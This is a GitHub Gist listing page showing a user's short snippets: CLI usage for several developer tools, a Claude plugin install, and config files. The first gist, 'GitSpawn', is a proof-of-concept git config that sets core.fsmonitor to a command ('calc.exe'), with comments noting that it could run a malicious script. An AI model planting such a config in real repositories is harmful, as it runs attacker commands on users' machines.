Skip to content

Instantly share code, notes, and snippets.

View up1's full-sized avatar

Somkiat Puisungnoen up1

View GitHub Profile
@up1
up1 / 1.txt
Created September 8, 2026 04:10
GitSpawn
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
# The fsmonitor configuration points to an arbitrary payload/command
fsmonitor = "calc.exe"
# On Unix-like systems, this could execute an arbitrary malicious script:
# fsmonitor = "/path/to/malicious_script.sh"
@up1
up1 / 1.txt
Last active September 7, 2026 15:25
Hello tgrep
$tgrep
Usage: tgrep <pattern> [PATH ...]
tgrep index [path]
tgrep serve [path]
tgrep status [path]
Search defaults to the current directory when no path is provided.
Run `tgrep --help` for full usage.
// Indexing
$tgrep index
@up1
up1 / 1.txt
Created September 5, 2026 09:10
Hello Portless
# ติดตั้งแบบ global
$npm install -g portless
# ทำการ start nodejs service แยกตาม port
$PORT=3001 portless web01 node server.js
portless
-- Proxy is running
-- web01.localhost (auto-resolves to 127.0.0.1)
@up1
up1 / 1.txt
Last active August 29, 2026 09:01
$go-modern-guidelines
go-modern-guidelines provides modern Go coding guidelines for AI agents, so they can write up-to-date Go code despite their knowledge cutoff.
Commands:
list [--go-version <version> | --file-path <path> | <path>]
Return short modern Go coding guidelines supported by the resolved Go version,
ordered newest first.
explain [--guideline-id <id>]... <id>...
Return detailed guidance and before/after examples for specific guideline ids.
@up1
up1 / 1.txt
Last active August 22, 2026 14:34
Claude :: eli5
$claude plugin marketplace add anthropics/claude-plugins-community
$claude plugin install eli5@claude-community
@up1
up1 / 1.js
Created August 20, 2026 03:01
Styled logging
lineColor = '#000';
styled = `color:#e11d48;font-family:-apple-system, BlinkMacSystemFont, sans-serif
;font-size:72px;font-weight:bold;-webkit-text-stroke:1px ${lineColor};line-height:2;`;
text = `
หยุด หยุดชีวิต หยุดกับคนนี้
แม้ว่าใครจะดีสักแค่ไหน
`;
console.log(`%c${text}`, styled);
@up1
up1 / 1.txt
Last active August 15, 2026 14:47
Claude code with Docker Sandboxes
# ณInstall in MacOS
$brew trust docker/tap
$brew install docker/tap/sbx
# Login with Docker account
$sbx login
# ใช้งานกับ claude code และกำหนด network policy ของ sandboxes ได้เลย ขึ้นอยู๋กับความต้องการของเรา
$cd <your project>
$sbx run claude
@up1
up1 / README.md
Created August 11, 2026 15:17 — forked from mattpocock/README.md
agent-proxy — a zero-dep proxy that shows the bloat in Claude Code's requests (ranked tool table + full readable Markdown of every request)

agent-proxy — see the bloat in Claude Code's requests

A zero-dependency logging proxy that sits between Claude Code and the Anthropic API. It forwards every request untouched, streams the reply straight back (so the CLI is unaffected), and writes a readable Markdown document for each request — led by a ranked table of what is eating your context.

Run it

@up1
up1 / 1.txt
Last active August 10, 2026 16:56
Demo
// Result from dom-testid
# document "Vite + React"
body
div id="root"
div
h1 data-testid="message_text"
#text "Call REST API 2026/06/04 Update !!"
center
div data-testid="message_box"
p data-testid="hello_text"
@up1
up1 / 1.json
Created August 9, 2026 05:42
Claude Code :: permission
{
"permissions": {
"defaultMode": "auto",
"allow": [
"Read",
"Grep",
"WebSearch"
],
"ask": [
"Bash"